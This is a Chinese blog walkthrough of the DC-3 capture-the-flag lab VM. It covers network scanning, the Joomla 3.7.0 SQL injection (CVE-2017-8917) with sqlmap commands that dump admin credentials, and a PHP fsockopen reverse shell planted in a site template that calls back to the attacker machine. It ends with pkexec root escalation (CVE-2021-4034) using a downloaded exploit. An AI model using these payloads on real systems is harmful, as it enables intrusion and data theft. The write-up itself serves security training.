DC-3渗透测试复现

DC-3渗透测试复现

目的:

获取最高权限以及5个flag

过程:

信息打点-sql注入-反弹shell- pkexec提权(CVE-2021-4034)

环境:

攻击机:kali(192.168.85.136)

靶机:DC_3(192.168.85.133)

复现:

一.信息收集

nmap -sP 192.168.85.0/24

或者:

arp-scan -l

发现存活主机IP 192.168.85.133 进行下一步扫描

只有80网页端口 扫描目标主机服务器情况

利用Awvs进行扫描获取进一步信息

看系统版本

Linux查看系统基本信息,版本信息(最全版)_如何查看linux系统信息-CSDN博客

二.漏洞利用

发现目标可能存在Joomla3.7.0 (CVE-2017-8917) SQL注入漏洞 我们直接搜该漏洞的利用方法

得到POC:

复制代码
/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

说明存在注入漏洞 我们直接sqlmap一把梭密码

复制代码
'http://192.168.85.133/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D=' -batch --current-db

爆表

爆列名

复制代码
'http://192.168.85.133/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D='  -D joomladb -T '#__users' --columns

得到账号密码

复制代码
'http://192.168.85.133/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D='  -D joomladb -T '#__users' -C "username,password"  --dump

admin  

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu 

使用john进行破解密码为 snoopy

登入后台发现了提示

意思是您显然必须获得root权限。,通过对后台的各种查询,发现Extensions->Templates里面的模板可以执行PHP脚本 那我们直接可以执行反弹shell

利用fsockopen方法弹shell

php 复制代码
$sock = fsockopen("192.168.85.136","6677" );

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

具体访问php通过web调用shell,php webshell下直接反弹shell(不借助任何其他语言)-CSDN博客

写入index.php

kali开启监听 然后浏览器访问/index.php 再使用py交互就可以了4

php 复制代码
python3 -c "import pty;pty.spawn('/bin/bash')"

没发现啥利用信息 看看能不能进root

不行 看看提权的方法

发现 sudo提权和熟悉的pkexec提权

三.提权

sudo提权发现不行 因为不知道密码

换 pkexec提权发现可以

下载地址

https://codeload.github.com/berdav/CVE-2021-4034/zip/refs/heads/main

但是目标机下不了 所以你可以采用 下面wget进行下载 然后kali可以开启个http服务

php 复制代码
wget http://192.168.85.136/CVE-2021-4034-main.zip

然后http服务也会显示访问成功

下载完解压就是CVE-2021-4034 pkexec提权漏洞了

php 复制代码
cd CVE-2021-4034/
make
./cve-2021-4034

获得root权限

现在就可以找到flag了

当然还有其他的方法 ,但感觉这个更简单

修复:

1.修复存在sql注入的地方,可采用预编译+手动过滤危险函数

2.修复泄露的泄露敏感文件信息

3.取消一些能够提权的函数权限

相关推荐
GeW6 分钟前
当Linux内核开始“确定性”,制造高端化才有了底层语法
linux
星恒随风1 小时前
MySQL 从零入门(三):表的约束详解
linux·服务器·数据库·笔记·mysql
Alluxio2 小时前
Alluxio + OCI:为 AI 工作负载实现亚毫秒访问延迟与可扩展吞吐
运维·数据库·人工智能·分布式·缓存·ai·语言模型
StarsGreen4 小时前
libva在intel平台上的前端流程简介
linux
坤坤子吖6 小时前
Linux网络编程:自定义应用层协议与 JSON 序列化
linux·服务器·网络·c++·笔记·json
Sayai6 小时前
Neo4j 图数据质量检查实战:环路检测、孤立节点与连通分量,两条 Cypher 引出的数据体检清单(含变长路径性能陷阱)
运维·neo4j·图数据库·数据质量·cypher
青瓦梦滋7 小时前
Redis主从复制
服务器·数据库·redis·缓存·bootstrap
Elastic 中国社区官方博客7 小时前
更少的位数,相同的召回率:DiskBBQ 更保守的自动校准扫描
大数据·运维·开发语言·人工智能·elasticsearch·搜索引擎
方便面不加香菜7 小时前
Docker Volume -- 管理卷Volume详解
运维·docker·容器
沫璃染墨8 小时前
从零入门计算机网络系列(十八):TCP连接管理详解——从三次握手与四次挥手到TIME_WAIT机制
运维·服务器·网络·c++·网络协议·tcp/ip·tcp